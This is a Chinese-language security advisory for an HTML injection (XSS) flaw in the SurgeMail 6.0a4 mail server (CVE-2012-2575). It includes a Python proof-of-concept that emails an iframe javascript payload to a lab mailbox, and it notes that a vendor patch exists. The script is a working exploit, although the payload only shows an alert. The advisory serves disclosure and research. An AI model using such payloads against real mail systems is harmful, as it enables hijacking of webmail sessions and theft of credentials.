发布日期：2012-08-08
更新日期：2012-08-09
受影响系统：
NetWin SurgeMail 6.0a4
描述：
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BUGTRAQ ID: 54895
CVE ID: CVE-2012-2575
SurgeMail是下一代的邮件服务器，可运行在Windows NT/2K或UNIX平台上，支持所有的标准IMAP、POP3、SMTP、SSL和ESMTP协议。
SurgeMail 6.0a4及其他版本在实现上存在HTML注入漏洞，攻击者可提供HTML或JS代码，在受影响站点中运行，窃取Cookie身份验证凭证或控制站点外观。
<*来源：loneferret
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: SurgeMail
Version: 6.0a4
Vendor Site:
Software Download:
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: Coordinated details with vendor
08 Aug 2012: Public Disclosure
Installed On: Windows Server 2003 SP2
Client Test OS: Window XP Pro SP3 (x86)
Browser Used: Internet Explorer 8
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
'''
import smtplib, urllib2
payload = """<IFRAME SRC="javascript:alert('XSS');"></IFRAME>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: XSS\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议：
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厂商补丁：
NetWin
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：